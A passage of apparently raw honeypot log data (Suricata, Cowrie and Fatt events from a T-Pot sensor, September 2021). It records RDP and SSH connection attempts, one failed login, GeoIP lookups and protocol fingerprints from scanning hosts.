"AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62109, "dest_port": 3389, "timestamp": "2021-09-20T11:48:34.008410Z", "@timestamp": "2021-09-20T11:48:34.008Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31996	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:48:33.653253+03	2021-09-20 15:00:02.893716+03	{"_id": "igYJA3wBvYTbRNuEUEew", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 62109, "dest_port": 3389, "timestamp": "2021-09-20T11:48:33.653253", "@timestamp": "2021-09-20T11:48:33.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
31997	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:48:34.939722+03	2021-09-20 15:00:02.894717+03	{"_id": "jAYJA3wBvYTbRNuEVUfw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "2c05cf2e48a2", "@version": "1", "duration": 5.573639631271362, "timestamp": "2021-09-20T11:48:34.939722Z", "@timestamp": "2021-09-20T11:48:34.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31998	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:48:33.688146+03	2021-09-20 15:00:02.895717+03	{"_id": "iAYJA3wBvYTbRNuET0et", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:33.331567+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 994759339478831, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 62109, "timestamp": "2021-09-20T11:48:33.688146Z", "@timestamp": "2021-09-20T11:48:33.688Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31999	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:48:34.00841+03	2021-09-20 15:00:02.897716+03	{"_id": "iQYJA3wBvYTbRNuET0eu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:33.331567+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 994759339478831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62109, "dest_port": 3389, "timestamp": "2021-09-20T11:48:34.008410Z", "@timestamp": "2021-09-20T11:48:34.008Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32000	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:54.237456+03	2021-09-20 15:00:02.898717+03	{"_id": "tQYJA3wBvYTbRNuEnkfb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58318, "timestamp": "2021-09-20T11:48:54.237456", "@timestamp": "2021-09-20T11:48:54.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32001	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:48:54.545297+03	2021-09-20 15:00:02.899717+03	{"_id": "uwYJA3wBvYTbRNuEoEcx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7d1aa67d4d69", "@version": "1", "timestamp": "2021-09-20T11:48:54.545297Z", "@timestamp": "2021-09-20T11:48:54.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32002	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:48:54.233349+03	2021-09-20 15:00:02.900716+03	{"_id": "vQYJA3wBvYTbRNuEoEcy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:58318 (192.168.176.2:22) [session: 7d1aa67d4d69]", "session": "7d1aa67d4d69", "@version": "1", "protocol": "ssh", "src_port": 58318, "dest_port": 22, "timestamp": "2021-09-20T11:48:54.233349Z", "@timestamp": "2021-09-20T11:48:54.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32003	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:48:54.544387+03	2021-09-20 15:00:02.901717+03	{"_id": "vgYJA3wBvYTbRNuEoUe9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "flow_id": 1422134356547161, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58318, "dest_port": 22, "timestamp": "2021-09-20T11:48:54.544387Z", "@timestamp": "2021-09-20T11:48:54.544Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32005	120.36.157.98	109.199.241.180	Fatt	2021-09-20 14:48:54.544675+03	2021-09-20 15:00:02.904717+03	{"_id": "wAYJA3wBvYTbRNuEokfC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "120.36.157.98", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58318, "dest_port": 22, "timestamp": "2021-09-20T11:48:54.544675", "@timestamp": "2021-09-20T11:48:54.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32006	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:48:55.879122+03	2021-09-20 15:00:02.905717+03	{"_id": "wgYJA3wBvYTbRNuEqEcC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [alfresco/123456] failed", "session": "7d1aa67d4d69", "@version": "1", "password": "123456", "username": "alfresco", "timestamp": "2021-09-20T11:48:55.879122Z", "@timestamp": "2021-09-20T11:48:55.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32007	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:48:57.202868+03	2021-09-20 15:00:02.906716+03	{"_id": "wwYJA3wBvYTbRNuEq0fq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7d1aa67d4d69", "@version": "1", "duration": 2.967060089111328, "timestamp": "2021-09-20T11:48:57.202868Z", "@timestamp": "2021-09-20T11:48:57.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32008	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:48:40.024307+03	2021-09-20 15:00:02.907716+03	{"_id": "lAYJA3wBvYTbRNuEZ0ce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36210, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1838011744018163, "@version": "1", "in_iface": "enp5s0", "src_port": 34163, "dest_port": 53, "timestamp": "2021-09-20T11:48:40.024307Z", "@timestamp": "2021-09-20T11:48:40.024Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32009	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:48:39.364557+03	2021-09-20 15:00:02.908716+03	{"_id": "lgYJA3wBvYTbRNuEZ0ce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16307, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1721375464591373, "@version": "1", "in_iface": "enp5s0", "src_port": 48797, "dest_port": 53, "timestamp": "2021-09-20T11:48:39.364557Z", "@timestamp": "2021-09-20T11:48:39.364Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32010	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:48:40.026112+03	2021-09-20 15:00:02.910717+03	{"_id": "lwYJA3wBvYTbRNuEZ0ce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36210, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3354, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1838011744018163, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34163, "timestamp": "2021-09-20T11:48:40.026112Z", "@timestamp": "2021-09-20T11:48:40.026Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32011	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:39.416936+03	2021-09-20 15:00:02.911717+03	{"_id": "mQYJA3wBvYTbRNuEaEci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35694, "dest_port": 443, "timestamp": "2021-09-20T11:48:39.416936", "@timestamp": "2021-09-20T11:48:39.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32012	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:48:41.372685+03	2021-09-20 15:00:02.912716+03	{"_id": "qAYJA3wBvYTbRNuEbUdj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:55464 (192.168.176.2:22) [session: 6b34f6d1eedf]", "session": "6b34f6d1eedf", "@version": "1", "protocol": "ssh", "src_port": 55464, "dest_port": 22, "timestamp": "2021-09-20T11:48:41.372685Z", "@timestamp": "2021-09-20T11:48:41.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32013	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:48:41.480533+03	2021-09-20 15:00:02.913716+03	{"_id": "qQYJA3wBvYTbRNuEbUdj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6b34f6d1eedf", "@version": "1", "timestamp": "2021-09-20T11:48:41.480533Z", "@timestamp": "2021-09-20T11:48:41.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32014	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:48:41.479813+03	2021-09-20 15:00:02.915717+03	{"_id": "qgYJA3wBvYTbRNuEbkfw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, 